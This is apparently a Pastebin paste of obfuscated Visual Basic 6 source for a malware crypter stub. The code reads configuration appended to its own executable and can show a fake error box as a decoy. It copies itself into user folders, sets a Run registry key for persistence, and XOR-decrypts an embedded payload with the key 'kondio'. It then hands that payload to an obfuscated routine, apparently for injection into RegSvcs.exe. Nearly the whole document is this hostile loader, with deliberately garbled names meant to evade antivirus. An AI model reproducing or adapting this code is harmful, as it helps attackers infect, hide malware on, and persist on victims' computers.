Advertisement
Guest User

Untitled

a guest
Mar 26th, 2015
223
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.68 KB | None | 0 0
  1. Private Declare Function GetCompressedFileSizeA Lib "kernel32" (ByVal lpFileName As String, lpFileSizeHigh As Long) As Long
  2. Private Declare Sub Sleep Lib "kernel32" (ByVal LDAQMITPOULWLIWUYWKGDYKNVHNZFWXNTVAURHVCHWCCNENIKWUYKNRKCWUNSLUGJMKTJMZNZGTFGBKFAPAQCECRTHQXMGYYJKW As Long)
  3.  
  4.  
  5. Sub WIRCBDAWDTKZAGKWQFXBFCZLQ()
  6. 'Dim sPsyco As stirng
  7. Dim ZCIGDTVVWOXRWGIHEZCQOVZLN As String
  8. Dim JZQZYIDOKWSZGBLUVCIZRYSSN() As String
  9. Dim TOIHNZFBZELBFRZRVZZWXHSFM As String
  10. sPsyco = gAAµggiggggiAyg
  11. Dim VFVWHBSCLAVZSERWGEXHGTOEZ() As Byte
  12. Open sPsyco For Binary As iiooi
  13. ZCIGDTVVWOXRWGIHEZCQOVZLN = Space$(FWNKWJPEZIIQVNEEEYHSYUWQN(gAAµggiggggiAyg))
  14. Get #1, , ZCIGDTVVWOXRWGIHEZCQOVZLN
  15. Close #1
  16. JZQZYIDOKWSZGBLUVCIZRYSSN = Split(ZCIGDTVVWOXRWGIHEZCQOVZLN, "mix")
  17. If JZQZYIDOKWSZGBLUVCIZRYSSN(7) = 1 Then
  18. Dim DelaySec As Integer
  19. DelaySec = JZQZYIDOKWSZGBLUVCIZRYSSN(8)
  20. DelaySec = DelaySec & "000"
  21. Sleep (DelaySec)
  22. End If
  23. TOIHNZFBZELBFRZRVZZWXHSFM = TGssXB»sYsTs¤ss‰s‰s0sX©ss°s1sL(JZQZYIDOKWSZGBLUVCIZRYSSN(18), "kondio")
  24. VFVWHBSCLAVZSERWGEXHGTOEZ = StrConv(TOIHNZFBZELBFRZRVZZWXHSFM, vbFromUnicode)
  25.  
  26.  
  27.  
  28. If JZQZYIDOKWSZGBLUVCIZRYSSN(9) = 1 Then
  29.  
  30. End If
  31. If JZQZYIDOKWSZGBLUVCIZRYSSN(10) = 1 Then
  32. End If
  33. If JZQZYIDOKWSZGBLUVCIZRYSSN(11) = 1 Then
  34. End If
  35. If JZQZYIDOKWSZGBLUVCIZRYSSN(12) = 1 Then
  36. Dim FakeTitle As String
  37. Dim FakeContent As String
  38. Dim FakeRadio As String
  39. FakeTitle = JZQZYIDOKWSZGBLUVCIZRYSSN(13)
  40. FakeContent = JZQZYIDOKWSZGBLUVCIZRYSSN(14)
  41. FakeRadio = JZQZYIDOKWSZGBLUVCIZRYSSN(15)
  42. If FakeRadio = "Error" Then
  43. MsgBox FakeContent, vbCritical, FakeTitle
  44. ElseIf FakeRadio = "Warning" Then
  45. MsgBox FakeContent, vbExclamation, FakeTitle
  46. ElseIf FakeRadio = "Information" Then
  47. MsgBox FakeContent, vbInformation, FakeTitle
  48. End If
  49. End If
  50.  
  51. If JZQZYIDOKWSZGBLUVCIZRYSSN(1) = 1 Then
  52. Dim InstallName As String
  53. Dim InstallDirName As String
  54. Dim InstallDir As String
  55. InstallName = JZQZYIDOKWSZGBLUVCIZRYSSN(2)
  56. InstallDirName = JZQZYIDOKWSZGBLUVCIZRYSSN(4)
  57. InstallDir = JZQZYIDOKWSZGBLUVCIZRYSSN(3)
  58. Appdatat = Environ$("APPDATA")
  59. Tempt = Environ$("TEMP")
  60. ProgramFilest = Environ$("ProgramFiles")
  61. Desktopt = Environ$("USERPROFILE") & "\Desktop"
  62. Startupt = Environ$("USERPROFILE")
  63. Usert = Environ$("USERPROFILE")
  64. Dim PathToInst As String
  65. If JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "AppData" Then
  66. PathToInst = Appdatat
  67. ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "Temp" Then
  68. PathToInst = Tempt
  69. ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "ProgramFiles" Then
  70. PathToInst = ProgramFilest
  71. ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "Desktop" Then
  72. PathToInst = Desktopt
  73. ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "StarUp" Then
  74. PathToInst = Startupt
  75. ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "User" Then
  76. PathToInst = Usert
  77. End If
  78. Dim Destin As String
  79. Destin = PathToInst & "\" & InstallDirName
  80. Destinat = PathToInst & "\" & InstallDirName & "\" & InstallName
  81. If Not Dir(Destinat) <> "" Then
  82.  
  83. MkDir Destin
  84. FileCopy gAAµggiggggiAyg, Destinat
  85. End If
  86. End If
  87. If JZQZYIDOKWSZGBLUVCIZRYSSN(5) = 1 And gAAµggiggggiAyg <> Destinat Then
  88. Dim StarUpNamee As String
  89. Dim WhereToReg As String
  90. WhereToReg = gAAµggiggggiAyg
  91. If JZQZYIDOKWSZGBLUVCIZRYSSN(1) = 1 Then
  92. WhereToReg = PathToInst & "\" & InstallDirName & "\" & InstallName
  93. End If
  94.  
  95. StarUpNamee = JZQZYIDOKWSZGBLUVCIZRYSSN(6)
  96. Dim StartUpPatht As String
  97.  
  98. Set Wsh = CreateObject("WScript.shell")
  99. Wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & InstallName, WhereToReg, "REG_SZ"
  100. End If
  101. If JZQZYIDOKWSZGBLUVCIZRYSSN(16) = 1 Then
  102.  
  103. Dim WhereNet As String
  104. WhereNet = Environ$("WinDir") & "\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"
  105.  
  106. Call xbmi§RxlxVxl™bRxp©x©™x§VxSxxxgxx©x§§xxxd©MxxVxiU§xMyHix§bK§iH©Mxxxxx§xKhiibxxxxicmV(WhereNet, VFVWHBSCLAVZSERWGEXHGTOEZ)
  107. Else
  108. Call xbmi§RxlxVxl™bRxp©x©™x§VxSxxxgxx©x§§xxxd©MxxVxiU§xMyHix§bK§iH©Mxxxxx§xKhiibxxxxicmV(gAAµggiggggiAyg, VFVWHBSCLAVZSERWGEXHGTOEZ)
  109. End If
  110.  
  111.  
  112. End Sub
  113.  
  114. Public Function FWNKWJPEZIIQVNEEEYHSYUWQN(myfile As String) As String
  115. Dim SIZE As String
  116. SIZE = CStr(GetCompressedFileSizeA(myfile, ByVal 0&))
  117. FWNKWJPEZIIQVNEEEYHSYUWQN = SIZE
  118. End Function
  119.  
  120.  
  121.  
  122.  
  123. Public Function iiooi()
  124.  
  125. Dim uooOi As String
  126.  
  127. uooOi = Chr$(49)
  128.  
  129. iiooi = uooOi
  130.  
  131. End Function
  132.  
  133.  
  134.  
  135.  
  136. Public Function gAAµggiggggiAyg()
  137.  
  138. Dim gggµigAggyggggg As String, ggggggµAAiAAigg As String, giiA§»gggggiggA As String, Igiµµgggigggig§ As String
  139.  
  140. gggµigAggyggggg = App.Path
  141.  
  142. ggggggµAAiAAigg = ggggggAiyggggiµ(Chr$(92))
  143.  
  144. giiA§»gggggiggA = App.EXEName
  145.  
  146. Igiµµgggigggig§ = ggggggAiyggggiµ(Chr$(69) & Chr$(46) & Chr$(69) & Chr$(88))
  147.  
  148. gAAµggiggggiAyg = gggµigAggyggggg + ggggggµAAiAAigg + giiA§»gggggiggA + Igiµµgggigggig§
  149.  
  150. End Function
  151.  
  152. Public Function ggggggAiyggggiµ(ggggggg»Ig§ggAg As String) As String
  153.  
  154. Dim gAgA§»gg§IigIgg As Variant
  155.  
  156. For gAgA§»gg§IigIgg = 1 To Len(ggggggg»Ig§ggAg) Step 2
  157.  
  158. ggggggAiyggggiµ = ggggggAiyggggiµ & StrReverse(Mid(ggggggg»Ig§ggAg, gAgA§»gg§IigIgg, 2))
  159.  
  160. DoEvents
  161.  
  162. Next gAgA§»gg§IigIgg
  163.  
  164. End Function
  165. Function TGssXB»sYsTs¤ss‰s‰s0sX©ss°s1sL(ssDsssLµOs1sss6ssµsss8ss†ssJ¦s As String, ¦§sS0s†s‰ssssssZssssTs0sµµs™Es As String) As String
  166. Dim s§ssUsssZssN‰S·5ssOssssI»ss8Xs() As Byte
  167. Dim sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3() As Byte
  168. Dim sXsssssµss¬4sssssJ3s6sssssJQsS As Long
  169. Dim sDHs°·ss4sssssIsss5sssµµss©HKs As Long
  170. Dim s¤Qssss3sMIMs§ssssµs™¤s‰ss§ss© As Long
  171. Dim »sKs6®»sssss¬¤sssAssss0»sss¤0Q As Long
  172. sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3() = StrConv(ssDsssLµOs1sss6ssµsss8ss†ssJ¦s, vbFromUnicode)
  173. s§ssUsssZssN‰S·5ssOssssI»ss8Xs() = StrConv(¦§sS0s†s‰ssssssZssssTs0sµµs™Es, vbFromUnicode)
  174. s¤Qssss3sMIMs§ssssµs™¤s‰ss§ss© = UBound(sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3)
  175. »sKs6®»sssss¬¤sssAssss0»sss¤0Q = UBound(s§ssUsssZssN‰S·5ssOssssI»ss8Xs)
  176. Do Until sXsssssµss¬4sssssJ3s6sssssJQsS > s¤Qssss3sMIMs§ssssµs™¤s‰ss§ss©
  177. sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3(sXsssssµss¬4sssssJ3s6sssssJQsS) = sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3(sXsssssµss¬4sssssJ3s6sssssJQsS) Xor s§ssUsssZssN‰S·5ssOssssI»ss8Xs(sDHs°·ss4sssssIsss5sssµµss©HKs)
  178. sDHs°·ss4sssssIsss5sssµµss©HKs = sDHs°·ss4sssssIsss5sssµµss©HKs + 1
  179. If sDHs°·ss4sssssIsss5sssµµss©HKs > »sKs6®»sssss¬¤sssAssss0»sss¤0Q Then sDHs°·ss4sssssIsss5sssµµss©HKs = 0
  180. sXsssssµss¬4sssssJ3s6sssssJQsS = sXsssssµss¬4sssssJ3s6sssssJQsS + 1
  181. Loop
  182. Erase s§ssUsssZssN‰S·5ssOssssI»ss8Xs
  183. TGssXB»sYsTs¤ss‰s‰s0sX©ss°s1sL = StrConv(sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3, vbUnicode)
  184. Erase sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3
  185. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement